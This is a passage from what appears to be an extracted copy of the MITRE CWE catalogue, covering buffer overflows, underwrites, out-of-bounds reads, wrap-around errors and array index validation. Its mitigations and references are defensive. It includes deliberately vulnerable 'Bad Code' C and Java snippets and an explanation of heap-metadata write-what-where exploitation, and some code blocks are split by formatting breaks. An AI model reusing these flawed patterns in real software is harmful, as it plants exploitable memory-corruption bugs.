This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

### Potential Mitigations

#### Build and Compilation

#### Compilation or Build Hardening

#### Defense in Depth

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

#### Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### Build and Compilation

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

#### Implementation

Implement and perform bounds checking on input.

#### Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

#### Operation

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

### Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which he places arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the

stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

### Other Notes

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CV	Page
ChildOf	B	787	Out-of-bounds Write	699	1207
ChildOf	B	788	Access of Memory Location After End of Buffer	1000	1208
ChildOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1380
MemberOf	V	630	Weaknesses Examined by SAMATE	630	980

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Stack overflow
Software Fault Patterns	SFP8	Faulty Buffer Access

### White Box Definitions

A stack-based buffer overflow is a weakness where the code path includes a buffer write operation such that:

1. stack allocation of a buffer
2. data is written to the buffer where
3. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to size of data added to position from which writing operation starts

### References

- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Stack Overruns" Page 129. 2nd Edition. Microsoft. 2002.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76.. 1st Edition. Addison Wesley. 2006.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.

## CWE-122: Heap-based Buffer Overflow

Weakness ID: 122 (Weakness Variant)

Status: Draft

### Description

#### Summary

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C
- C++

## Common Consequences

### Availability

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

### Integrity

**Confidentiality**

**Availability**

**Access Control**

**Execute unauthorized code or commands**

**Bypass protection mechanism**

**Modify memory**

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.

### Integrity

**Confidentiality**

**Availability**

**Access Control**

**Other**

**Execute unauthorized code or commands**

**Bypass protection mechanism**

**Other**

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

## Likelihood of Exploit

High to Very High

## Demonstrative Examples

### Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

#### C Example:

*Bad Code*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in `argv[1]` will not exceed this size and cause an overflow.

### Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

#### C Example:

*Bad Code*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
}
```

```

}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
  if( '&' == user_supplied_string[i] ){
    dst_buf[dst_index++] = '&';
    dst_buf[dst_index++] = 'a';
    dst_buf[dst_index++] = 'm';
    dst_buf[dst_index++] = 'p';
    dst_buf[dst_index++] = ';';
  }
  else if ('<' == user_supplied_string[i] ){
    /* encode to &lt; */
  }
  else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.

### Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

#### Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### Build and Compilation

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

#### Implementation

Implement and perform bounds checking on input.

#### Implementation

#### Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

#### Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	☑	Page
ChildOf	<b>C</b>	633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf	<b>B</b>	787	Out-of-bounds Write	699	1207
ChildOf	<b>B</b>	788	Access of Memory Location After End of Buffer	<b>699</b> <b>1000</b>	1208
ChildOf	<b>C</b>	970	SFP Secondary Cluster: Faulty Buffer Access	<b>888</b>	1380
MemberOf	<b>V</b>	630	Weaknesses Examined by SAMATE	<b>630</b>	980

### Relationship Notes

Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.

#### Affected Resources

- Memory

#### Causal Nature

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Heap overflow
Software Fault Patterns	SFP8	Faulty Buffer Access

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
92	Forced Integer Overflow	

#### White Box Definitions

A buffer overflow where the buffer from the Buffer Write Operation is dynamically allocated

#### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Heap Overruns" Page 138. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76.. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.

## CWE-123: Write-what-where Condition

Weakness ID: 123 (*Weakness Base*)

Status: Draft

#### Description

##### Summary

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- C
- C++

#### Common Consequences

**Integrity**  
**Confidentiality**  
**Availability**  
**Access Control**  
**Modify memory**  
**Execute unauthorized code or commands**  
**Gain privileges / assume identity**  
**DoS: crash / exit / restart**  
**Bypass protection mechanism**

Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

**Integrity**  
**Availability**  
**DoS: crash / exit / restart**  
**Modify memory**

Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.

**Access Control**  
**Other**  
**Bypass protection mechanism**  
**Other**

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

### Likelihood of Exploit

High

### Demonstrative Examples

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

#### C Example:

*Bad Code*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to `strcpy()` can be used to write past the end of `buf1`, and, with a typical layout, can overwrite the accounting information that the system keeps for `buf2` when it is allocated. Note that if the allocation header for `buf2` can be overwritten, `buf2` itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for `buf2` will probably be `buf1`, and the next chunk may be null. When the `free()` occurs, most memory allocators will rewrite the linked list using data from `buf2`. Particularly, the "next" chunk for `buf1` will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory



address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where he has placed malicious code, resulting in arbitrary code execution.

### Potential Mitigations

#### Architecture and Design

##### Language Selection

Use a language that provides appropriate memory abstractions.










##### Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
PeerOf		134	Uncontrolled Format String	1000	277
ChildOf		970	SFP Secondary Cluster: Faulty Buffer Access	<b>888</b>	1380
CanFollow		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234
CanFollow		364	Signal Handler Race Condition	1000	635
PeerOf		415	Double Free	1000	716
CanFollow		416	Use After Free	1000	719
CanFollow		479	Signal Handler Use of a Non-reentrant Function	1000	807
CanFollow		590	Free of Memory not on the Heap	1000	930

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Write-what-where condition
Software Fault Patterns	SFP8	Faulty Buffer Access

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

## CWE-124: Buffer Underwrite ('Buffer Underflow')

Weakness ID: 124 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

#### Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

### Alternate Terms

#### buffer underrun

Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Integrity

#### Availability

#### Modify memory

#### DoS: crash / exit / restart

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.

#### Integrity

#### Confidentiality

#### Availability

#### Access Control

#### Other

#### Execute unauthorized code or commands

#### Modify memory

#### Bypass protection mechanism

#### Other

If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.

#### Access Control

#### Other

#### Bypass protection mechanism

#### Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

### Likelihood of Exploit

Medium

### Demonstrative Examples

#### Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

#### C/C++ Example:

*Bad Code*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
    }
}
```

```

len--;
}
// return string without trailing whitespace
retMessage = message;
return retMessage;
}

```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

### Example 2:

The following is an example of code that may result in a buffer underwrite, if `find()` returns a negative value to indicate that `ch` is not found in `srcBuf`:

#### C Example:

*Bad Code*

```

int main() {
...
strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
...
}

```

If the index to `srcBuf` is somehow under user control, this is an arbitrary write-what-where condition.

### Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2004-2620	Buffer underflow due to mishandled special characters
CVE-2006-4024	Negative value is used in a <code>memcpy()</code> operation, leading to buffer underflow.
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow.
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)

### Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

#### Implementation

Sanity checks should be performed on all calculated values used as index or for pointer arithmetic.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name		Page
ChildOf	<b>B</b>	786	Access of Memory Location Before Start of Buffer	<b>699</b> <b>1000</b>	1205
ChildOf	<b>B</b>	787	Out-of-bounds Write	699 1000	1207
ChildOf	<b>C</b>	970	SFP Secondary Cluster: Faulty Buffer Access	<b>888</b>	1380
CanAlsoBe	<b>V</b>	196	Unsigned to Signed Conversion Error	1000	380
CanFollow	<b>B</b>	839	Numeric Range Comparison Without Minimum Check	1000	1279

### Relationship Notes

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

### Research Gaps

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		UNDER - Boundary beginning violation ('buffer underflow?')
CLASP		Buffer underwrite
Software Fault Patterns	SFP8	Faulty Buffer Access

### References

"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004-01-10. < <http://seclists.org/vuln-dev/2004/Jan/0022.html> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

## CWE-125: Out-of-bounds Read

Weakness ID: 125 (Weakness Base)

Status: Draft

### Description

#### Summary

The software reads data past the end, or before the beginning, of the intended buffer.

#### Extended Description

This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Confidentiality

#### Read memory

### Demonstrative Examples

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

#### C Example:

Bad Code

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value

to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

**C Example:**

Good Code

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

```

**Observed Examples**

Reference	Description
CVE-2004-0112	out-of-bounds read due to improper length check
CVE-2004-0183	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0184	out-of-bounds read, resultant from integer underflow
CVE-2004-0221	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0421	malformed image causes out-of-bounds read
CVE-2004-1940	large length value causes out-of-bounds read

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
ChildOf		970	SFP Secondary Cluster: Faulty Buffer Access	<b>888</b>	1380
ParentOf		126	Buffer Over-read	699 1000	254
ParentOf		127	Buffer Under-read	699 1000	256
CanFollow		822	Untrusted Pointer Dereference	1000	1250
CanFollow		823	Use of Out-of-range Pointer Offset	1000	1252
CanFollow		824	Access of Uninitialized Pointer	1000	1254
CanFollow		825	Expired Pointer Dereference	1000	1255

**Research Gaps**

Under-studied and under-reported. Most issues are probably labeled as buffer overflows.

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Out-of-bounds Read
Software Fault Patterns	SFP8	Faulty Buffer Access

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
540	Overread Buffers	

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

## CWE-126: Buffer Over-read

**Weakness ID:** 126 (Weakness Variant) **Status:** Draft

**Description**

**Summary**

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

### Extended Description

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Confidentiality

#### Read memory

### Demonstrative Examples

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

#### C/C++ Example:

*Bad Code*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possiblity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Observed Examples

Reference	Description
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships



Nature	Type	ID	Name	V	Page
ChildOf	B	125	Out-of-bounds Read	699	253
ChildOf	B	788	Access of Memory Location After End of Buffer	699	1208
ChildOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1380
CanFollow	B	170	Improper Null Termination	1000	328

### Relationship Notes

These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Buffer over-read
Software Fault Patterns	SFP8	Faulty Buffer Access

## CWE-127: Buffer Under-read

Weakness ID: 127 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.

#### Extended Description

This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Confidentiality

#### Read memory

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	125	Out-of-bounds Read	699	253
ChildOf	B	786	Access of Memory Location Before Start of Buffer	699	1205
ChildOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1380

### Research Gaps

Under-studied.

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Buffer under-read

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP8	Faulty Buffer Access

## CWE-128: Wrap-around Error

Weakness ID: 128 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- C (*Often*)
- C++ (*Often*)

#### Common Consequences

##### Availability

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: instability**

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

##### Integrity

##### Modify memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

##### Confidentiality

##### Availability

##### Access Control

**Execute unauthorized code or commands**

**Bypass protection mechanism**

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples

The following image processing code allocates a table for images.

##### C Example:

*Bad Code*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

#### Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

**Architecture and Design**

Provide clear upper and lower bounds on the scale of any protocols designed.

**Implementation**

Place sanity checks on all incremented variables to ensure that they remain within reasonable bounds.

**Background Details**

Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1000	226
ChildOf		189	Numeric Errors	699	360
PeerOf		190	Integer Overflow or Wraparound	1000	361
ChildOf		682	Incorrect Calculation	<b>699</b> <b>1000</b>	1060
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

**Relationship Notes**

The relationship between overflow and wrap-around needs to be examined more closely, since several entries (including CWE-190) are closely related.

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Wrap-around error
CERT C Secure Coding	MEM07-C	Ensure that the arguments to <code>calloc()</code> , when multiplied, can be represented as a <code>size_t</code>
CERT C++ Secure Coding	MEM07-CPP	Ensure that the arguments to <code>calloc()</code> , when multiplied, can be represented as a <code>size_t</code>
Software Fault Patterns	SFP1	Glitch in computation

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
92	Forced Integer Overflow	

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Signed Integer Boundaries", Page 220.. 1st Edition. Addison Wesley. 2006.

**CWE-129: Improper Validation of Array Index**

Weakness ID: 129 (Weakness Base)

Status: Draft

**Description****Summary**

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

### Alternate Terms

**out-of-bounds array index**

**index-out-of-range**

**array index underflow**

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C (*Often*)
- C++ (*Often*)
- Language-independent

### Common Consequences

#### Integrity

#### Availability

#### DoS: crash / exit / restart

Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.

#### Integrity

#### Modify memory

If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.

#### Confidentiality

#### Integrity

#### Modify memory

#### Read memory

Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.

#### Integrity

#### Availability

#### Confidentiality

#### DoS: crash / exit / restart

#### Execute unauthorized code or commands

#### Read memory

#### Modify memory

A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.

### Likelihood of Exploit

High

### Detection Methods

**Automated Static Analysis****High**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Automated Dynamic Analysis**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Black Box**

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.

**Demonstrative Examples****Example 1:**

In the code snippet below, an untrusted integer value is used to reference an object in an array.

**Java Example:***Bad Code*

```
public String getValue(int index) {
    return array[index];
}
```

If `index` is outside of the range of the array, this may result in an `ArrayIndexOutOfBoundsException` being raised.

**Example 2:**

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

**Java Example:***Bad Code*

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
